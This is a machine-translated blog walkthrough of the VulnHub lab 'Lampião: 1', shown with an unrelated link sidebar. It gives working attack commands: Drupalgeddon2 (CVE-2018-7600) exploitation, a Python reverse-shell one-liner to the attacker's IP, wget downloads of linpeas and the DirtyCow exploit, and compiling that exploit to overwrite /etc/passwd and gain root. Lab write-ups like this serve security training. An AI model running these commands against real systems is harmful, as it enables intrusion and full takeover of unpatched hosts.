当前位置:网站首页>vulnhub Lampião: 1
vulnhub Lampião: 1
2022-07-26 06:43:00 【Fairy elephant】
Infiltrate ideas :
nmap Scan the discovery port ,robots.txt as well as Drupal Approximate version ---- adopt CHANGELOG Further confirmation Drupal edition ---- utilize Drupal 7 Of RCE(CVE-2018-7600)getshell( No certification required )---- obtain python rebound shell ---- The right of a dirty cow
environmental information :
Drone aircraft :192.168.101.89
attack :192.168.101.34
Specific steps :
1、nmap scanning
sudo nmap -sV -sC -p- 192.168.101.89Scan to TCP 22(ssh)、80、1898(http) port , It also identifies 1898 The port uses Drupal 7, It is also found that robots.txt

2、 adopt CHANGELOG Further confirmation Drupal edition
Browser access http://192.168.101.89:1898/robots.txt, Find out Disallow There are /CHANGELOG.txt

visit http://192.168.101.89:1898/CHANGELOG.txt, Discover the present Drupal Version should be 7.54

3、 utilize Drupal 7 Of RCE(CVE-2018-7600)getshell( No certification required )
exploit-db Mid search drupal 7, Eliminate the need for certification exp, According to the exp Utilized url Whether access locking does not require authentication RCE:“Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution”

take exp(44449.rb) download , Comment out “require 'highline/import'”( Because it didn't work , And if it is not commented out, an error will be reported ), Others are not modified

Execute on the command line
ruby 44449.rb http://192.168.101.89:1898/Get the target www-data User shell

4、 obtain python rebound shell
Unfortunately, the above shell Cannot switch directories , So consider using rebound shell Command to get another bounce shell

And because of this shell Cannot redirect in (>), So use a that does not contain redirection symbols python Statement to get bounce shell
First attack the aircraft nc monitor 8888 port
nc -nlvp 8888Then I got it in the previous step shell In the implementation of
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'You can get the target www-data User's rebound shell

5、 The right of a dirty cow
On the attack plane linpeas.sh From the folder http service
python2 -m SimpleHTTPServer 80Execute the following commands on the target , Download from the attacker linpeas.sh, Add executable rights , And implement
wget http://192.168.101.34/linpeas.sh
chmod +x linpeas.sh
./linpeas.shlinpeas.sh Identify high-risk kernel versions Linux version 4.4.0-31-generic

And give a few that are likely to succeed in raising rights exp, After trying one by one , Find out dirtycow Of exp(https://www.exploit-db.com/download/40847) Well done

take exp 40847.cpp Download to the attacker , Then execute the following commands on the target , Download from the attacker 40847.cpp, compile , Give executable permission and execute
wget http://192.168.101.34/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
chmod +x dcow
./dcowPrompt after execution :Root password is: dirtyCowFun
Indicates that the attack was successful , Now you can su To root, The password for dirtyCowFun
get root Of shell after , stay /root You can find flag.txt

Digression :
1、40847.cpp Will be in /etc/passwd write in root New password for , And the original /etc/passwd Backed up as /etc/passwd-


2、 About dirty cattle
Website :Dirty COW (CVE-2016-5195)
边栏推荐
- 供应链的多目标协同决策
- Downloadutilse tool class without error
- 『牛客|每日一题』逆波兰表达式
- Regular expressions and calling related functions in C language
- 日志轮转logrotate
- Download, installation and development environment construction of "harmonyos" deveco
- III Actual combat - current time representation and world standard time format
- [fault diagnosis] bearing fault diagnosis based on Bayesian optimization support vector machine with matlab code
- Why the server is stuck
- Vim中删除^M
猜你喜欢

Decomposing a positive integer into prime factors requires decomposing into as many factors as possible.
![[pytorch] fine tuning technology](/img/d3/6d0f60fffd815f520f4b3880bd0ac7.png)
[pytorch] fine tuning technology

BPG notes (IV)

【无标题】

『牛客|每日一题』逆波兰表达式
![[Web3 series development tutorial - create your first NFT (4)] what can NFTs bring to you](/img/57/f263f3f3c40b1440b0cbb58c5e05a5.jpg)
[Web3 series development tutorial - create your first NFT (4)] what can NFTs bring to you

Download, installation and development environment construction of "harmonyos" deveco
![[untitled]](/img/42/5e8b62edc0aa289098425b26df2453.jpg)
[untitled]

【图像隐藏】基于混合 DWT-HD-SVD 的数字图像水印方法技术附matlab代码

Do you think you are a reliable test / development programmer? "Back to the pot"? Surface and reality
随机推荐
Input the records of 5 students (each record includes student number and grade), form a record array, and then output them in order of grade from high to low The sorting method adopts selective sortin
力扣5: 最长回文子串
曲线曲率展示
『HarmonyOS』DevEco的下载安装与开发环境搭建
【Web3 系列开发教程——创建你的第一个 NFT(4)】NFTs 可以给你带来什么
IV Actual combat - global unified return result class
The "darkest hour" has not come yet. Cherish every bullet 2020-03-22
C language introduction practice (7): switch case calculation of days in the year (normal year / leap year calculation)
MySQL基础篇(二)-- MySQL 基础
"Harmonyos" explore harmonyos applications
Summary of common usage of dev treelist
How does the national standard gb28181 protocol easygbs platform realize device video recording and set streaming IP?
快速排序(quick-sort)
[nanny level] package volume optimization tutorial
What are the aspects of performance testing? What are the classification and testing methods?
What is KVM? What is KVM virtual machine?
UIToolkit工具模板工程
mysql优化之索引及索引失效
Liberg avenue to Jane series
Sorting problem: bubble sort, select sort, insert sort